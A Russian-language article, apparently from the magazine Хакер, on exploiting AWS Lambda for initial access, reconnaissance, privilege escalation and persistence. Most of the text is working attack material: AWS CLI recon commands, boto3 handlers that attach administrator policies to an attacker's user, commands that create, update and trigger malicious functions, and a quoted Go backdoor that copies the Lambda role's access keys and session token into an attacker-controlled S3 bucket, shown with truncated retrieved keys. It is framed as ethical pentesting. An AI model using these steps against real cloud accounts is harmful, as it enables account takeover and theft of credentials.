Хакер - Блямбда. Эксплуатируем AWS Lambda

Хакер - Блямбда. Эксплуатируем AWS Lambda

hacker_frei

https://t.me/hacker_frei

MichelleVermishelle

Содержание статьи

  • Теория
  • AWS Lambda
  • Лямбда-функция
  • API Gateway
  • Первоначальный доступ
  • Разведка
  • Lambda Function
  • API Gateway
  • Повышение привилегий
  • Создание и вызов функции с привязкой роли
  • Изменение кода функции
  • Закрепление
  • Изменение лямбды
  • Бессерверный бэкдор с интеграцией в S3
  • Выводы

В эко­сис­теме AWS име­ется инте­рес­ней­ший механизм Lambda — это служ­ба бес­сервер­ных вычис­лений, которая запус­кает код в ответ на опре­делен­ное событие. При­чем она уме­ет авто­мати­чес­ки выделять для это­го необ­ходимые ресур­сы. Сегод­ня мы погово­рим о том, как исполь­зовать ее, что­бы про­ник­нуть в обла­ко AWS и повысить при­виле­гии.

INFO

О том, как мож­но экс­плу­ати­ровать дру­гие уяз­вимос­ти AWS, читай в статье «Про­вер­ка ведер. Как искать уяз­вимос­ти в бакетах AWS S3».

ТЕОРИЯ

WS Lambda

Как работа­ет AWS Lambda? Если прос­тыми сло­вами: ты добав­ляешь свой скрипт и зада­ешь триг­гер или событие, при нас­тупле­нии которо­го будет запус­кать­ся этот код. Боль­ше делать ничего не нуж­но, потому что обо всем дру­гом — адми­нис­три­рова­нии, монито­рин­ге работы, безопас­ности, жур­налах, логах — позабо­тит­ся сер­вис AWS Lambda. Ког­да событий нет, лям­бда не выпол­няет­ся, соот­ветс­твен­но, ресур­сы не пот­ребля­ются.

Ус­трой­ство лям­бды

Лямбда-функция

Лям­бда‑фун­кция — это часть кода, которая выпол­няет­ся каж­дый раз, ког­да сра­баты­вает триг­гер.

Ус­трой­ство лям­бда‑фун­кции

Су­щес­тву­ет три типа триг­геров, отли­чают­ся они спо­собом вызова:

  • по­токо­вый — сра­баты­вает при изме­нени­ях в чем‑либо, нап­ример при добав­лении дан­ных в БД;
  • син­хрон­ный — сра­баты­вает при получе­нии зап­роса на какой‑то конеч­ной точ­ке, которая вызыва­ет лям­бда‑фун­кцию;
  • асин­хрон­ный — про­исхо­дит в слу­чае какого‑либо события, нап­ример при заг­рузке фай­ла на S3.

При этом вызов воз­можно выпол­нить и с помощью API Gateway.

API Gateway

Служ­ба API Gateway упро­щает раз­работ­чикам работу с API. Под­держи­вает­ся REST, HTTP и WebSocket API.

Сос­тав API Gateway

Мы можем при­вязать API Gateway к какому‑то сер­вису, мобиль­ному при­ложе­нию, даже к IOT, — глав­ное, что­бы у них был дос­туп в интернет. Пос­ле это­го оно будет сту­чать на API-шлюз, с которо­го и ста­нут вызывать­ся тре­буемые дей­ствия.

Стан­дар­тное исполь­зование API Gateway

ПЕРВОНАЧАЛЬНЫЙ ДОСТУП

Ча­ще все­го через лям­бду в обла­ко не попада­ют. Но в слу­чае обна­руже­ния фун­кции, гей­твея, соз­дания пол­ной ссыл­ки и тре­буемо­го набора парамет­ров мож­но все‑таки поп­робовать. Нап­ример, если лям­бда‑фун­кция при­нима­ет какую‑либо коман­ду для запус­ка в cmd:

https://i8jee1mn2f.execute-api.us-east-2.amazonaws.com/prod/system?cmd=env

При­мер экс­плу­ата­ции уяз­вимос­ти

РАЗВЕДКА

Lambda Function

На пер­вом эта­пе нуж­но хорошень­ко раз­ведать обста­нов­ку и поис­кать уяз­вимые мес­та. На помощь нам при­дет AWS CLI. Что­бы уви­деть все лям­бда‑фун­кции, вос­поль­зуем­ся сле­дующей коман­дой:

aws lambda list-functions

По­лучить лям­бда‑фун­кции в отдель­ном реги­оне:

aws lambda list-functions --region us-east-1

По­иск лям­бда‑фун­кций
Изу­чение зависи­мос­тей
  • FunctionArn — уни­каль­ный иден­тифика­тор фун­кции;
  • Runtime — язык, на котором написа­на фун­кция;
  • Role — роль, которую име­ет лям­бда‑фун­кция. Воз­можно, опре­делен­ная лям­бда‑фун­кция име­ет дос­туп к дру­гим служ­бам. Соот­ветс­твен­но, мы так­же можем опре­делить полити­ки, при­вязан­ные к лям­бда‑фун­кции;
  • Layers — зависи­мос­ти лям­бда‑фун­кции.

По­лучить информа­цию о кон­крет­ной лям­бда‑фун­кции (в том чис­ле исходный код) мож­но сле­дующим обра­зом:

aws lambda get-function --function-name <function-name> [--region eu-west-1 --profile demo]

При­мер:

aws lambda get-function --function-name PentestingForFun

Смот­рим опре­делен­ную фун­кцию

В при­веден­ном выше при­мере мы видим раз­дел Code, а в нем — Location. То есть код извле­кает­ся по это­му пути, в дан­ном слу­чае это S3-бакет awslambda-us-west2-tasks. Перей­дя по ука­зан­ной ссыл­ке (либо порыв­шись в ука­зан­ном бакете), мы смо­жем ска­чать код лям­бда‑фун­кции.

При этом в выводе дан­ной коман­ды есть огромная струк­тура Configuration, которую тоже сто­ит обя­затель­но пос­мотреть. Во вре­мя пен­тестов мы час­то обна­ружи­вали здесь учет­ные дан­ные.

Учет­ные дан­ные в перемен­ных сре­ды

Ис­ходный код зависи­мос­ти мож­но получить вот так:

aws lambda get-layer-version --layer-name <LayerName> --version-number <VersionNumber>

При­мер:

aws lambda get-layer-version --layer-name request-library --version-number 1

Те­перь обра­ти вни­мание на спо­собы вызова фун­кции.

aws lambda get-policy --function-name <function-name>

При­мер:

aws lambda get-policy --function-name PentestingForFun

Объ­екты, спо­соб­ные вызывать син­хрон­ный триг­гер
  • Service — то, кому раз­решено дер­гать фун­кцию;
  • Action — что может сде­лать Service;
  • Resource — какие объ­екты могут быть выз­ваны.

В лям­бда‑фун­кци­ях иног­да встре­чает­ся раз­дел Condition. Он отве­чает за «филь­тра­цию» — каким методом и каким обра­зом вызыва­ется лям­бда. Имен­но в нем всег­да будет пря­тать­ся айдиш­ник, по которо­му ты смо­жешь опре­делить, к какому гей­твею при­вяза­на лям­бда‑фун­кция.

При­мер Condition

В дан­ном слу­чае uj3lq1cu8e — REST API ID. При этом триг­гер может сра­ботать и от изме­нений в чем‑либо. Для получе­ния информа­ции о подоб­ных событи­ях сущес­тву­ет вот такой коман­длет:

aws lambda list-event-source-mappings --function-name <function-name>

При­мер:

aws lambda list-event-source-mappings --function-name PentestingForFun

Что при­ведет к асин­хрон­ному/потоко­вому триг­геру

В этом слу­чае исполь­зует­ся Amazon Simple Queue Service (SQS) — служ­ба оче­реди сооб­щений.

API Gateway

Пос­ле изу­чения дос­тупных лям­бда‑фун­кций пора вос­ста­нав­ливать URL, который при­ведет к ее вызову. Что­бы уви­деть все REST APIs (получить айдиш­ник, так как Region зачас­тую схож с боль­шинс­твом реги­онов, в котором сто­ят ЕС2-инстан­сы), вос­поль­зуем­ся сле­дующей коман­дой:

aws apigateway get-rest-apis

Об­наруже­ние всех REST API

Ин­форма­цию о кон­крет­ном API поможет дос­тать эта коман­да:

aws apigateway get-rest-api --rest-api-id <ApiId>

Что­бы най­ти все конеч­ные точ­ки (которые так­же называ­ют объ­екта­ми), вос­поль­зуем­ся такой дирек­тивой:

aws apigateway get-resources --rest-api-id <ApiId>

Изу­чение всех рас­положе­ний

В нашем при­мере под­держи­вает­ся метод зап­роса GET к ресур­су 18ds4f9r2rb, поэто­му на сле­дующем шаге изу­чаем его глуб­же:

aws apigateway get-method --rest-api-id <ApiID> --resource-id <ResourceID> --http-method <Method>

При­мер:

aws apigateway get-method --rest-api-id 18ds4f9r2rb --resource-id 7xhd4f9l3mz --http-method GET

Изу­чение кон­крет­ного метода

Вот самые инте­рес­ные парамет­ры:

  • authorizationType — тип авто­риза­ции;
  • apiKeyRequired — что­бы выз­вать метод, тре­бует­ся ключ (допус­тим, в нашем слу­чае для исполь­зования метода GET на конеч­ной точ­ке нам дос­таточ­но прос­то отпра­вить зап­рос);
  • methodIntegration — то, что про­исхо­дит на зад­нем пла­не;
  • type — с чем это интегри­рова­но;
  • uri — в нашем слу­чае мы видим, что метод дер­гает лям­бда‑фун­кцию.

Та­ким обра­зом мы можем иден­тифици­ровать API Gateway с кон­крет­ной лям­бда‑фун­кци­ей. Если для вызова тре­бует­ся ключ API, то есть воз­можность перечис­лить все API-клю­чи, при­сутс­тву­ющие в текущей УЗ:

aws apigateway get-api-keys --include-values

По­луче­ние API-клю­чей

На­конец, оста­ется лишь перечис­лить все рас­положе­ния:

aws apigateway get-stages --rest-api-id <ApiId>

Те­перь у нас есть дос­таточ­ный объ­ем информа­ции, что­бы пос­тро­ить URL-адрес для исполь­зования лям­бда‑фун­кции. Парамет­ры ты смо­жешь опре­делить, пос­мотрев исходный код.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Создание и вызов функции с привязкой роли

По­вышать свои при­виле­гии с помощью лям­бды неверо­ятно инте­рес­но! Нап­ример, сущес­тву­ет поль­зователь с пра­вами на при­вяз­ку роли (iam:PassRole) и соз­дание лям­бда‑фун­кций (lambda:CreateFunction). Век­тор таков: написать код, который при­вяжет к учет­ной записи ата­кующе­го адми­нис­тра­тив­ную полити­ку. Шаги сле­дующие:

  1. Соз­даем лям­бда‑фун­кцию, свя­зывая ее с какой‑либо ролью. При­чем у этой роли дол­жны быть пра­ва на вызов iam:AttachRolePolicy или iam:AttachUserPolicy.
  2. Вы­зыва­ем соз­данную фун­кцию, что при­водит к исполне­нию кода.
  3. Код при­вязы­вает адми­нис­тра­тив­ную полити­ку сна­чала к лям­бда‑роли, а потом к ата­кующе­му.
  4. У нас появ­ляют­ся пра­ва адми­нис­тра­тора.
По­выше­ние при­виле­гий с помощью лям­бды

Ес­ли у роли лям­бда‑фун­кции име­ется при­виле­гия AttachRolePolicy, то сна­чала при­вяжем полити­ку адми­нис­тра­тора к ней, а потом к ата­кующе­му.

Для это­го мож­но исполь­зовать сле­дующий код:

import boto3

import json

def lambda_handler(event, context):

iam = boto3.client("iam")

iam.attach_role_policy(RoleName="<роль, к которой привязывать лямбда-функцию>", PolicyArn="<политика с административным доступом>",) # Привязка политики к роли

iam.attach_user_policy(UserName="<пользователь, к которому привязывать политику>", PolicyArn="<политика с административным доступом>",) # Привязка политики к пользователю

return {

'statusCode': 200,

'body': json.dumps("AWS Service")

}

Ес­ли у роли лям­бда‑фун­кции име­ется при­виле­гия AttachUserPolicy, то мы можем сра­зу при­вязать к ата­кующе­му адми­нис­тра­тив­ную полити­ку:

import boto3

import json

def lambda_handler(event, context):

iam = boto3.client("iam")

iam.attach_user_policy(UserName="<пользователь, к которому привязывать политику>", PolicyArn="<политика с административным доступом>",) # Привязка политики к пользователю

return {

'statusCode': 200,

'body': json.dumps("AWS Service")

}

Как обна­ружить роли, мы изу­чили в пер­вой статье. Твоя задача — най­ти роль, у которой есть тре­буемые для экс­плу­ата­ции при­виле­гии (iam:AttachRolePolicy или iam:AttachUserPolicy), а так­же воз­можность свя­зать ее с лям­бда‑фун­кци­ей.

Те­перь мож­но соз­дать лям­бда‑фун­кцию. Имен­но она и обес­печива­ет нам повыше­ние при­виле­гий:

aws lambda create-function --function-name <имя создаваемой лямбда-функции> --runtime <язык, на котором написан код> --zip-file <файл .zip с исходным кодом> --handler <хендлер (это имя лямбда-функции + какую функцию вызывать из питона)> --role <ARN роли, к которой привязана политика с iam:AttachRolePolicy> --region <регион>

При­мер:

aws lambda create-function --function-name awsservicelambda --runtime python3.7 --zip-file fileb://awsservicelambda.zip --handler awsservicelambda.lambda_handler --role arn:aws:iam::184194106212:role/Lambda-Permisssion-Mgmt-Role --region us-east-2

Ус­пешное соз­дание лям­бда‑фун­кции

Те­перь триг­герим фун­кцию:

aws lambda invoke --function-name <FunctionName> response.json --region <регион, в котором находится функция>

При­мер:

aws lambda invoke --function-name awsservicelambda response.json --region us-east-2

В текущей дирек­тории появит­ся фай­лик response.json. Смот­рим его и видим ошиб­ку! Ничего не работа­ет, повысить при­виле­гии с помощью лям­бды нель­зя.

Access Denied

Шу­чу. Давай подума­ем: что сей­час про­изош­ло? Толь­ко что код исполнил­ся лишь час­тично, то есть фун­кция attachrolepolicy успешно отра­бота­ла, поэто­му у роли лям­бда‑фун­кции уже есть полити­ка с адми­нис­тра­тив­ным дос­тупом. Ты даже можешь это про­верить:

aws iam list-attached-role-policies --role-name <привязываемая роль>

Ви­дим, что к роли успешно при­вяза­лась полити­ка

Нам тре­бует­ся лишь вновь зат­ригге­рить фун­кцию, пос­ле чего мож­но пос­мотреть при­вязан­ные к себе полити­ки:

aws iam list-attached-user-policies --user-name <username>

Ус­пешная экс­плу­ата­ция

Но иног­да у нас нет пра­ва lambda:InvokeFunction, то есть выз­вать коман­длет aws lambda invoke мы не смо­жем. В таком слу­чае пот­ребу­ется соз­дать асин­хрон­ный либо потоко­вый триг­гер. Нап­ример, свя­жем лям­бду с таб­лицей в какой‑нибудь базе дан­ных (ска­жем, DynamoDB) и вне­сем в нее изме­нения, что при­ведет к вызову фун­кции.

Соз­даем таб­лицу с вклю­чен­ной потоко­вой переда­чей:

aws dynamodb create-table --table-name <имя таблицы> --attribute-definitions AttributeName=Test,AttributeType=S --key-schema AttributeName=Test,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Свя­зыва­ем фун­кцию и таб­лицу:

aws lambda create-event-source-mapping --function-name <имя функции> –event-source-arn <ARN DynamoDB-таблицы> --enabled --starting-position LATEST

За­пус­каем поток:

aws dynamodb put-item --table-name <Имя таблицы> --item Test={S="просто любая строка"}

Изменение кода функции

Бла­года­ря при­виле­гии lambda:UpdateFunctionCode пен­тестер смо­жет обно­вить код сущес­тву­ющей лям­бда‑фун­кции, зас­тавив ее выпол­нить вре­донос­ный код, который, допус­тим, выдаст ему пра­ва (если к лям­бде при­вяза­на дос­таточ­но при­виле­гиро­ван­ная роль). Далее сле­дует дож­дать­ся вызова фун­кции либо дер­нуть самос­тоятель­но, если при­сутс­тву­ет при­виле­гия lambda:InvokeFunction или lambda:CreateEventSourceMapping. При­меры кода мы рас­смот­рели рань­ше. А вот обно­вить код мож­но, нап­ример, так:

aws lambda update-function-code --function-name <функция, на которую у нас есть права> --zip-file <обновленный код>

# Пример

aws lambda update-function-code --function-name PentestingForFun --zip-file fileb://my/lambda/code/zipped.zip

Обя­затель­но учи­тывай язык, на котором написа­на лям­бда! Ина­че код не запус­тится.

ЗАКРЕПЛЕНИЕ

Изменение лямбды

Зак­репить­ся в ском­про­мети­рован­ном обла­ке дос­таточ­но прос­то, понадо­бит­ся бук­валь­но нес­коль­ко дей­ствий.

Зак­репле­ние с помощью лям­бды

В раз­деле «Раз­ведка» мы с тобой убе­дились, что получить исходный код лям­бда‑фун­кции мож­но с помощью get-function. Тво­ей задачей будет обна­ружить под­ходящую лям­бду и API, с помощью которо­го мож­но выз­вать фун­кцию. Пос­ле это­го меняй текущий код, добав­ляя в него бэк­дор на твое усмотре­ние.

Убе­див­шись, что все работа­ет, мож­но заг­ружать лям­бду на сер­вер:

aws lambda update-function-code --function-name <имя функции, чей исходный код будет обновлен> --zip-file fileb://<исходный код>

# Пример

aws lambda update-function-code --function-name PentestingForFun --zip-file fileb://my-function.zip

Об­новля­ем код фун­кции

Те­перь дер­гаем гей­твей, что­бы лям­бда исполни­лась:

curl https://uj3lq1cu8e.execute-api.us-east-2.amazonaws.com/default/PentestingForFun

Бессерверный бэкдор с интеграцией в S3

Спарк Флоу, автор книг «How to Hack like a...», пред­ложил соз­дать бэк­дор на осно­ве S3-бакета. Его прин­цип дей­ствия зак­лючал­ся бы в кра­же из перемен­ных окру­жения клю­чей дос­тупа роли, при­вязан­ной к лям­бда‑фун­кции. С пол­ным кодом бэк­дора мож­но озна­комить­ся на стра­нице GitHub Спар­ка .

Раз­берем некото­рые момен­ты, свя­зан­ные с этим инте­рес­ным про­ектом. Каж­дая прог­рамма на Go, пред­назна­чен­ная для работы в сре­де Lambda, начина­ется с одной и той же шаб­лонной фун­кции main, которая регис­три­рует точ­ку вхо­да Lambda (в дан­ном слу­чае это HandleRequest):

func main() {

lambda.Start(HandleRequest)

}

Даль­ше идет клас­сичес­кий блок кода для сбор­ки HTTP-кли­ента и соз­дания уда­лен­ного URL-адре­са S3 для отправ­ки нашего отве­та:

const S3BUCKET="<bucket name>

func HandleRequest(ctx context.Context, name MyEvent) (string, error) {

client := &http.Client{}

respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/setup.txt", S3BUCKET)

За­тем сле­дует выг­рузка учет­ных дан­ных роли Lambda из перемен­ных сре­ды с отправ­кой их в бакет:

accessKey := fmt.Sprintf(`

AWS_ACCESS_KEY_ID=%s

AWS_SECRET_ACCESS_KEY=%s

AWS_SESSION_TOKEN=%s"`,

os.Getenv("AWS_ACCESS_KEY_ID"),

os.Getenv("AWS_SECRET_ACCESS_KEY"),

os.Getenv("AWS_SESSION_TOKEN"),

)

uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)

При этом перед исполь­зовани­ем бэк­дора нуж­но убе­дить­ся в том, что сер­вис S3 может выз­вать лям­бду. Пре­дос­тавить раз­решение мож­но вот так:

aws lambda add-permission --function-name <имя созданной функции> --region eu-west-1 --statement-id s3InvokeLambda12 --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn <ARN бакета>

За­тем нас­тро­им пра­вило, по которо­му будет ини­цииро­вано событие (в этом слу­чае бэк­дор сра­бота­ет при соз­дании объ­ектов в S3, начина­ющих­ся с пре­фик­са 2):

aws s3api put-bucket-notification-configuration --region eu-west-1 --bucket mxrads-mywebhook --notification-configuration file://<(cat << EOF

{

"LambdaFunctionConfigurations": [{

"Id": "s3InvokeLambda12",

"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408:function:support-metrics-calc",

"Events": ["s3:ObjectCreated:*"],

"Filter": {

"Key": {

"FilterRules": [{

"Name": "prefix",

"Value": "2"

}]

}

}

}]

}

EOF

)

И, обра­тив­шись к гей­твею, получим токен роли, при­вязан­ной к лям­бде:

curl https://mxrads-report-metrics.s3-eu-west-1.amazonaws.com/lambda

AWS_ACCESS_KEY_ID=ASIA44ZRK6WSTGTH5GLH

AWS_SECRET_ACCESS_KEY=1vMoXxF9Tjf2OMnEMU...

AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPT..

ВЫВОДЫ

Лям­бда встре­чает­ся прак­тичес­ки в каж­дом пен­тесте AWS. К ней всег­да при­вязы­вает­ся слиш­ком при­виле­гиро­ван­ная роль, у лям­бды всег­да будут неп­рилич­но боль­шие пол­номочия. Подоб­ные мис­конфи­ги зачас­тую при­водят к взло­му целого обла­ка! Лишь чет­кое понима­ние и зна­ние работы этой служ­бы поможет нам, этич­ным хакерам, пре­дот­вра­тить подоб­ный сце­нарий и убе­речь заказ­чика от боль­ших проб­лем.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page